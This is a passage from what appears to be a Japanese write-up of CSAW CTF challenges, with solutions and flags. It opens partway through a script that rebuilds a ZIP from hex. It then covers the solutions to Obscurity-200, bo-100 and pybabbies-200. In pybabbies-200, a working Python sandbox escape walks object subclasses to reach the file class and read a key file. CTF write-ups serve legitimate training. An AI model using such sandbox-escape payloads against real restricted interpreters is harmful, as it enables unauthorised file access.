ff82e917d75f993e2eecbe8a3c1ecd98c2afb89defea5f24a825c2c8907911285031ac79642929f73f7a050b6d669b81d79f2582b5c30046cfe43f873c8a12a4c785fab88d94c97af278144b4ff305d004c7c6147302ed1f567a2155465e172bbd1e0641fbdbdb820f775893a18b87b70fa406b4e8c3f21b8a9d771363031a0a6f179e96ccdfcb73e9792909bf4cd0fb467b02d48b08c8'
zip_parts9='d6ac85cf6a780485effbb23e39e5c22b404eabe18dfeeec7fd4e2b509f82f3f135ef089887b7efe58ee6f67ce72cafa3a1d76dc527023ee0faf3e0854a1ce605dec62158c349996f7dba72adb4dd4bbbd57739b666d53caaf3e6749843afb86e3aa94a8567cdd1dea0b1dcefb1e236bc72bdd6ede4d3b620efd065cb691648e8664f51a3f5b66009ea765cb9da02efcb31489bb7771cba891d1d57e65bf376bb6df798370ea8b901f12653b38d8c736759077e7a5ceb85f0994046417ee747f67c2641f0c68a6f73490a57750d268aa0c06320703a356669b129a83596f3e96e4cc561cd595a05ae75c5d73c8425a5a1feb76cc018e6ff9c9c5c1ff2ad39b40778aef6b1128c7778b8ac16137bc69e12c21e5f8707338fca1f44bdd5366668be244e73fde798f1ffdc575c35ff4fd6e31c5dc567d5d1c7065e374a2a482c24ef117488148a85f602789dc9132793ece784f2433f15890a363bad18cd8c0c039a026af68d02c4b3f6b6bdee51f8f655c89af75211084895e663fdcdfdb78fd0459a9165ffa5b6b5a3773e39f82df83e2357c27cfda38fb7133975a77896289589b256742466b897a8b0efd3444eebdccaf5acb5b100bf60d06060147a5dd2b8ffd5ab98a506d5219d99310be042125b226ae638d95a83eda92400949bcd6f2f8a7dfb6f592f126063ea692492208e44b72e4ce634cf3b505afa74c4ff47b3c2d1afc900fb77a404b070ea9a3fa79dadf0b0387f9bd596e8f391b687240290aff6c00736de97cdca8a801f99e3d9de562fc0f79ac092a17934d88fc7ac62ead45ede7febc69d1008e83aef9dbc84297bdc1d4c7fb81f56919d38d1d59d6bbc036107b766af2a00c896829af98046a0de16be0fec2f074167ab2b80990ecdc0c087a2fde7f9a470325abc3056a1eb2eb29e53ed5f0b08ff4b114d8122e4f6651471efda32268075bf93ece968ed79dd025d824f9c0ec1eb7504d4c736f00160260b24a3053b73c1443b3cd6492dc6290633c049a241f7f4fd0afdca4e711d7fee84bf458811fe5b692d82aa28029ba8147d51baac14147df16b5a7d3abc486972f86efb1ec12b2954c3cef361063caf0c7f6a982f0984cff99c52e7b6283fee0aee37ad73dc828df22646f38499ad7671e9e135e4ff968423a1503893bfa6ef42faf76493f45fb52c65d6fbabb1febfbcfa2be03a0003fddf9272997fb4d4d8ce548aff965c7f0c40405901fcef41ff7f3be80bf91d6a72440a29fbc7577f2f396965a94a892f21ff07504b01021e03140000000800256a2d453849cf01962e0000aa320000080018000000000000000000a48100000000666c61672e706e675554050003167c145475780b000104e803000004e8030000504b050600000000010001004e000000d82e00000000'

zip_parts=zip_parts1+zip_parts2+zip_parts3+zip_parts4+zip_parts5+zip_parts6+zip_parts7+zip_parts8+zip_parts9

binary=binascii.a2b_hex(zip_parts)
 
with open("flag.zip", "wb") as f:
    f.write(binary)

出てきたzipを解凍すると、flag.pngが出てくる。
flag{91e02cd2b8621d0c015197f645668c5c4}

Obscurity-200

写真をドラッグしてみると何かを選択するのでそれをコピペする。
flag{security_through_obscurity}

exploitation

bo-100

nc 54.165.176.104 1515すると以下の文が表示される。
Welcome to CSAW CTF!
Time to break out IDA Demo and see what's going on inside me. :]

IDAでStrings windowを見るとflagが見える。
flag{exploitation_is_easy!}

pybabbies-200

takemaru$ nc 54.165.210.171 12345
Welcome to my Python sandbox! Enter commands below!
>>> all_classes = []
>>> for entry in ().__class__.__bases__[0].__subclasses__():
...     all_classes.append(entry.__name__)
...
>>> all_classes.index("file")
40
>>> print(().__class__.__bases__[0].__subclasses__()[40]("./key").read())
flag{definitely_not_intro_python}